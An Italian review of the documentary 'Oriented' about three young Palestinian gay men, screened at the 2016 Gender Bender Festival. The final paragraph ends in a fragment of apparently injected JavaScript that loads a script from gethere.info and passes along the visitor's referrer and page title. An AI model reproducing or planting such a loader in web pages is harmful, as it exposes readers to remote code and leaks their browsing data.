Gender Bender Cinema: “Oriented” verso il Medioriente

images“Ah, allora forse tu puoi trovarmi un altro palestinese che ha sofferto?”

Kadher

“Oriented” è proiettato in sala al Gender Bender Festival per l’ultimo week end di cinema dell’edizone 2016.

Primo documentario del regista Jake Witzenfeld, è una pellicola che ci fa agitare sulle sedie, incuriosire, arrabbiare, indignare. Per prima cosa, è un film che ci fa emozionare. L’impulso è di alzarsi e sventolare bandiere, ballare con i protagonisti, sostenere la loro causa!

Jake Witzenfeld, regista british, ma trasferitosi a Tel Aviv, costruisce un percorso nel quale seguiamo intimamente tre ragazzi per 15 mesi. Le riprese mosse, ravvicinate, quasi rubate, ci fanno sentire come se davvero fossimo a pochi centimetri da Naeem, Kadher e Fadi. Sono questi i nomi dei ragazzi protagonisti di “Oriented”; sono loro che assieme ad alcuni amici si interrogano su come esprimersi ed esprimere la propria identità.Orgogliosi delle loro scelte, si ritrovano in contesti che mettono alla prova le loro certezze. Partendo dal confronto col le famiglie, ci facciamo testimoni impotenti e muti delle conversazioni dove traspare il rifiuto, o l’accettazione in alcuni casi. Il tema del coming out, già delicato di per se, si arricchisce del livello relativo al contesto geopolitico nel quale si trovano i protagonisti. Le normali problematiche di coppia, si sdoppiano in questioni politiche, etniche, ideologiche molto forti. Può un ragazzo palestinese amare un ragazzo israeliano senza dover fare i conti con la propria storia? oriented-jake-witzenfeld-1h_wo_680_382

Come una storia dentro la storia, seguiamo anche i ragazzi nel girato di due video, nei quale contestualizzano proprio queste tematiche. Leggiamo assieme a loro i commenti, le reazioni degli altri. Per tutta la durata del documentario ci sentiamo realmente vicini a questi ragazzi, scoprendo la loro quotidianità, come fosse la nostra. “Oriented” è un documentario a 360 gradi, con tutte le caratteristiche che si confanno al genere, dal ritmo, alle riprese mosse, che si notano soprattutto nei momenti di tensione. Gender Bender anche con questa scelta per la sezione cinema ci conferma un’attenzione e un’apertura molto importanti.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Share This: